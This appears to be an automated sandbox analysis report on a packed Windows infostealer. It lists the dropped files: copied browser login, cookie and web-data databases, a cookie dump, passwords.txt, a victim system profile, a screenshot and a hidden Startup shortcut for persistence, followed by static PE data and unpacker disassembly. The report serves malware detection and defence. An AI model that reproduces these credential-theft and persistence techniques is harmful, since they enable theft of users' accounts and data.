Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\enXYdwTXArzFWeb Data

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\hC03xPYOkhc5Web Data

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\ip37mCyN57muLogin Data

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\jt2H3t49qaIdCookies

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\q2xutezn4kFdLk2viqDb.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 66%
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\q8h87HgcZDd0Login Data

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\wi06D4NAVLzfWeb Data

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\trixy9T_JAyVodxF8\Cookies\Chrome_Default.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	ASCII text, with very long lines (769), with CRLF line terminators
Category:	dropped
Size (bytes):	6085
Entropy (8bit):	6.038274200863744
Encrypted:	false
SSDEEP:	96:gxsumX/xKO2KbcRfbZJ5Jxjxcx1xcbza5BC126oxgxA26Fxr/CxbTxqCGYURxOeb:gWFXZQHRFJ5Pts7c3avC126Ygb6Lr/WY
MD5:	ACB5AD34236C58F9F7D219FB628E3B58
SHA1:	02E39404CA22F1368C46A7B8398F5F6001DB8F5C
SHA-256:	05E5013B848C2E619226F9E7A084DC7DCD1B3D68EE45108F552DB113D21B49D1
SHA-512:	5895F39765BA3CEDFD47D57203FD7E716347CD79277EDDCDC83A729A86E2E59F03F0E7B6B0D0E7C7A383755001EDACC82171052BE801E015E6BF7E6B9595767F
Malicious:	false
Preview:	.google.com.TRUE./.TRUE.1712145003.NID.ENC893_djEw3+k+F2A/rK1XOX2BXUq6pY2LBCOzoXODiJnrrvDbDsPWiYwKZowg9PxHqkTm37HpwC52rXpnuUFrQMpV3iKtdSHegOm+XguZZ6tGaCY2hGVyR8JgIqQma1WLXyhCiWqjou7/c3qSeaKyNoUKHa4TULX4ZnNNtXFoCuZcBAAy4tYcz+0BF4j/0Pg+MgV+s7367kYcjO4q3zwc+XorjSs7PlgWlYrcc55rCJplhJ+H13M00HIdLm+1t9PACck2xxSWX2DsA61sEDJCHEc=_b3i0u6LLcKCMUaF/UlQgEPSL9PtLZ21CuT1dJkfCzME=..support.microsoft.com.FALSE./.TRUE.1696413835..AspNetCore.AuthProvider.ENC893_djEwVWJCCNyFkY3ZM/58ZZ/F/bz9H1yPvi6FOaroXC+KU8E=_b3i0u6LLcKCMUaF/UlQgEPSL9PtLZ21CuT1dJkfCzME=..support.microsoft.com.TRUE./signin-oidc.TRUE.1696414135..AspNetCore.Correlation.mdRqPJxLbpyv7vX0eK9YkTR-xwcrW3VBLE4Y3HEvxuU.ENC893_djEwBAKLrkJs5PZ6BD7Beoa9N/bOSh5JtRch10gZT+E=_b3i0u6LLcKCMUaF/UlQgEPSL9PtLZ21CuT1dJkfCzME=..support.microsoft.com.TRUE./signin-oidc.TRUE.1696414135..AspNetCore.OpenIdConnect.Nonce.CfDJ8Kiuy_B5JgFMo7PeP95NLhqwcJ8koDy5pXkfoWsb5SbbU2hVCbsH2qt9GF_OVCqFkLEwhvzeADNQOF5RSmkDfh5RqfqlOkx5QWo4Lltvwb0CvwBFD8ujlm3BAglOeGca3ZatkLMUkH

C:\Users\user\AppData\Local\Temp\trixy9T_JAyVodxF8\History\Firefox_fqs92o4p.default-release.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	112
Entropy (8bit):	4.911305722693245
Encrypted:	false
SSDEEP:	3:N8DSLvIJiMgTE2WdkQUl7R8DSLvIJiMhKVX3L2WdkQUlv:2OLciodq7R8OLciA8dqv
MD5:	978B9515D3688A43726604AC169DF379
SHA1:	D61293AB99332FC45CAE37D78AB17A5DA5BCD189
SHA-256:	CDEF3FB1CE312E4B67DC5F1B1F9FB551241C08564FDB26AFA4CBF448BB02EA65
SHA-512:	86146AA576129B73743B1EBC0BC60880FDA58A11498048B3C68284C4520F1ADC324D016696B0E995A51AC56966E0F38B0AF12458A986868701C6AAAA89C829CB
Malicious:	false
Preview:	https://www.mozilla.org/privacy/firefox/.1696333827..https://www.mozilla.org/en-US/privacy/firefox/.1696333827..

C:\Users\user\AppData\Local\Temp\trixy9T_JAyVodxF8\information.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	6563
Entropy (8bit):	5.395113980567588
Encrypted:	false
SSDEEP:	96:xzf0MlORk0cT4Aisph+9hcmb/ZArxNV48VP2c+1EzW7dLbyYq5I8kOiPcJUJiuV5:x7+20vAtphWhcmb/CLw9B
MD5:	2C39E7C5E6148CFC2BAEF421D86477C3
SHA1:	176616E6C1F681E086370A6982D88B7513A9E0C3
SHA-256:	ABB4E1FC97D928EA139C62062764C17BD519793D186025054239EB85ED5CE6DD
SHA-512:	1E0429913E62FB633C13FD541A85979FEA6625F329D9FA08DA9422CECEB4DAAF616D10813CC4A6ABC879E0E531EA793E9C0212E3879A125E67D69FF411349196
Malicious:	false
Preview:	Build: default..Version: 2.0....Date: Thu May 23 17:33:05 2024.MachineID: 9e146be9-c76a-4720-bcdb-53011b87bd06..GUID: {a33c7340-61ca-11ee-8c18-806e6f6e6963}..HWID: 82cf7db9296b82f6b568f03a6310cc8c....Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe..Work Dir: C:\Users\user\AppData\Local\Temp\trixy9T_JAyVodxF8....IP: 8.46.123.175..Location: US, New York City..ZIP (Autofills): -..Windows: Windows 10 Pro [x64]..Computer Name: 932923 [WORKGROUP]..User Name: user..Display Resolution: 1280x1024..Display Language: en-CH..Keyboard Languages: English (United Kingdom) / English (United Kingdom)..Local Time: 23/5/2024 17:33:5..TimeZone: UTC-5....[Hardware]..Processor: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz..CPU Count: 4..RAM: 8191 MB..VideoCard #0: Microsoft Basic Display Adapter....[Processes]..System [4]..Registry [92]..smss.exe [324]..csrss.exe [408]..wininit.exe [484]..csrss.exe [492]..winlogon.exe [552]..services.exe [620]..lsass.exe [628]..svchost.exe [752]..fontdrvhost.exe

C:\Users\user\AppData\Local\Temp\trixy9T_JAyVodxF8\passwords.txt

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	Unicode text, UTF-8 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	2.518316437186352
Encrypted:	false
SSDEEP:	48:4MMMMMMMMMMdMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMMMMdMMMMMMMM3:q
MD5:	B3E9D0E1B8207AA74CB8812BAAF52EAE
SHA1:	A2DCE0FB6B0BBC955A1E72EF3D87CADCC6E3CC6B
SHA-256:	4993311FC913771ACB526BB5EF73682EDA69CD31AC14D25502E7BDA578FFA37C
SHA-512:	B17ADF4AA80CADC581A09C72800DA22F62E5FB32953123F2C513D2E88753C430CC996E82AAE7190C8CB3340FCF2D9E0D759D99D909D2461369275FBE5C68C27A
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\trixy9T_JAyVodxF8\screenshot.png

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	695899
Entropy (8bit):	7.925838200500562
Encrypted:	false
SSDEEP:	12288:dU+YN/zsDAL0Y3Pvn+/ev+Fx2nlnt2ZbpQTqg7mzwYwBUcAw0Nkkgg:dG5z6AL0deGMtWKAwbAzkK
MD5:	39775E031AAFA8E8BB70A8C16BC8F7A1
SHA1:	39770A22F54BAEFDBEEC18E83BB83CB8B08356BB
SHA-256:	23A11F5EE4D1B8DE16596D6CDCAEBD559D13F3FF118448679F8D171BDE3DD2C9
SHA-512:	DA48404BCE8C7815769F4CB19E090373B9D9ECAF6ADA98F8CDCB55B0688FF16038A6F46BC27A444C331A1B930C134B0705307A1BA5358CC8DBFAF26032EC8BFD
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^..w.mU....v..I.s.w..XU......X...ZQe..Rr...d.`.....lD%H.1.XGK).$.U6.$... ...c......ko.[{Z...o.c......>F.s./...l...C.;%...O{..tO..:'.{X`.t.4:.....N.y/..C....&.\|..L.?M.........Wl.h.q.~ant>..91ulL.sO...yb..Y..HL.-..H........=.#.....5...k...4.C....CfO....L...?..S.yx~9....c1U....s....[.}.j........2.1..@..i.Y..#..L}.........5.?........<.E.S........E.S.Mys.....,z.`..'.Wj..u.@..3f..wd...fj..{ ...wf....+........"c.m.N.[Z........]us....j.[n....e....93..rK...a.P..%)O0f..>7V.7'...Z..S\|Q.k.T._.w..}R<...i......h<...ml..o......j.....K.=......{]_-yS..3..b.t....v....zM.....'..M..RLcA>.=o....e.]B,...%/.;;].../J.tw....J.-!..w..Z.k.....NWe.;^...qC.l..o.{...]....;\Yu.."..vL......./..;\...........%.\.Y.s.n....c~Y..K.._.....X..;...K{n.Y.10...).].O.?..%.E.^...=..h..3e...m.[..oui5..%..t.t..b.-.n.}.>,.&.k}.^..].MZ.u...O...Ly._\-."]7..)O.g..[.m..S...w6...nvQ..lza.)W..Z..z.

C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\q2xutezn4kFdLk2viqDb.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 66%
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EdgeMS2.lnk

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Archive, ctime=Thu May 23 20:33:10 2024, mtime=Thu May 23 20:33:10 2024, atime=Thu May 23 20:33:09 2024, length=4563640, window=hide
Category:	dropped
Size (bytes):	1329
Entropy (8bit):	4.92528723670826
Encrypted:	false
SSDEEP:	24:8VHP0lR0gKSBCcdE6ApfB1yNdFdI7qyFm:8VHPuRj+pRB1yVJyF
MD5:	07E715D22EAA1D21037F92E4A49F41CD
SHA1:	8E94F32637914FA7ACD5921B223B65BD73B09ACB
SHA-256:	EB258E5335650A6AF70FC6E8683A2C967FB69F3B37A504B1756912A45CC98420
SHA-512:	AD71EF28D8D15433E1BC8D0A6D315097FC0E67046D6AFEF583E5A817C30041E2A77FF773046BBDAAB99DCC4A953DF5405EADDBDC6275317266B2797288E8EC34
Malicious:	false
Preview:	L..................F.... ..... .X..... .X...'...X.....E.....................X.:..DG..Yr?.D..U..k0.&...&......vk.v........X...7...X.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.X.............................%..A.p.p.D.a.t.a...B.P.1......X....Local.<......CW.^.X......b.....................W...L.o.c.a.l.....N.1......X#...Temp..:......CW.^.X#.....l.....................n.x.T.e.m.p.......1......X&...EDGEMS~1.........X&..X&..........................P...E.d.g.e.M.S.2._.4.5.c.4.8.c.c.e.2.e.2.d.7.f.b.d.e.a.1.a.f.c.5.1.c.7.c.6.a.d.2.6.....b.2...E..X%. .EdgeMS2.exe.H......X&..X&.....;......................[ .E.d.g.e.M.S.2...e.x.e.......................-....................$.......C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe....E.d.g.e.M.S.2.Q.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.M.S.2._.4.5.c.4.8.c.c.e.2.e.2.d.7.f.b.d.e.a.1.a.f.c.5.1.c.7.c.6.a.d.2.6.\.E.d.g.e.M.S.2...e.x.e.........\|

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.966703261383256
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	4'792'320 bytes
MD5:	ee40081ecc9d262a6afb70e92d9092f2
SHA1:	4a6d1f93c7e2907e985ba305f9a23a1ff1e413c2
SHA256:	44f26c626214bd52d8f3b60c149ff03eaeb8d31ae552b3140c666680d9bf096d
SHA512:	2adccb8da71fea68730ecb383231f19deb66f78baafdc524d8bd0bcc182717fcb261da4d526d5d41f73af6e12523597b79264561401ded8d00fc5fd83f3cba85
SSDEEP:	98304:MPk3K5R2pbvXGlxqUuHGRFz5+0KOArjownIrl:M+mR2ZvYk4RFz5zb
TLSH:	1C2633296257D92BD84CF2369801E7B8F512D7C07833C95F3F4A3924ED33B9B2A41266
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...r.................P...2..D.......Dk.. ...@2...@.. ........................}......rI...@................................

File Icon


Icon Hash:	13e3e3e3c381d083

Static PE Info

General

Entrypoint:	0xab44d0
Entrypoint Section:	.boot
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0xAFC99B72 [Sat Jun 16 13:15:30 2063 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	4328f7206db519cd4e82283211d98e83

Entrypoint Preview

Instruction
call 00007FC65CE63F60h
push ebx
mov ebx, esp
push ebx
mov esi, dword ptr [ebx+08h]
mov edi, dword ptr [ebx+10h]
cld
mov dl, 80h
mov al, byte ptr [esi]
inc esi
mov byte ptr [edi], al
inc edi
mov ebx, 00000002h
add dl, dl
jne 00007FC65CE63E17h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jnc 00007FC65CE63DFCh
add dl, dl
jne 00007FC65CE63E17h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jnc 00007FC65CE63E63h
xor eax, eax
add dl, dl
jne 00007FC65CE63E17h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jnc 00007FC65CE63EF7h
add dl, dl
jne 00007FC65CE63E17h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 00007FC65CE63E17h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 00007FC65CE63E17h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 00007FC65CE63E17h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
je 00007FC65CE63E1Ah
push edi
mov eax, eax
sub edi, eax
mov al, byte ptr [edi]
pop edi
mov byte ptr [edi], al
inc edi
mov ebx, 00000002h
jmp 00007FC65CE63DABh
mov eax, 00000001h
add dl, dl
jne 00007FC65CE63E17h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 00007FC65CE63E17h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jc 00007FC65CE63DFCh
sub eax, ebx
mov ebx, 00000001h
jne 00007FC65CE63E3Ah
mov ecx, 00000001h
add dl, dl
jne 00007FC65CE63E17h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 00007FC65CE63E17h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jc 00007FC65CE63DFCh
push esi
mov esi, edi
sub esi, ebp

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x35c03a	0x50	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x35e000	0x340ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x2000	0x322000	0x321600	998b29037399c09995b06b38cf07713d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
	0x324000	0x340ac	0x15e00	101eb8d3a87d293da6bd12ce9478c584	False	0.9995424107142857	data	7.997507336601352	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
	0x35a000	0xc	0x200	97cc75740a66cf09382fa15fc606f181	False	0.625	data	5.785471168921894	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.idata	0x35c000	0x2000	0x200	ae28a63f366a33ab22f6a72717cef730	False	0.16796875	data	1.1486424297373619	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x35e000	0x34200	0x34200	813d65579fcf91e257c4886934a466a7	False	0.48693232913669066	data	5.581148781772378	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.themida	0x394000	0x320000	0x0	d41d8cd98f00b204e9800998ecf8427e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.boot	0x6b4000	0x126200	0x126200	2082f5d307ceb4fc59b4399296de592c	False	0.9927286974075649	data	7.959446021495236	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x35e200	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024			0.651595744680851
RT_ICON	0x35e678	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304			0.5192622950819672
RT_ICON	0x35f010	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096			0.45426829268292684
RT_ICON	0x3600c8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216			0.4049792531120332
RT_ICON	0x362680	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384			0.3597071327350024
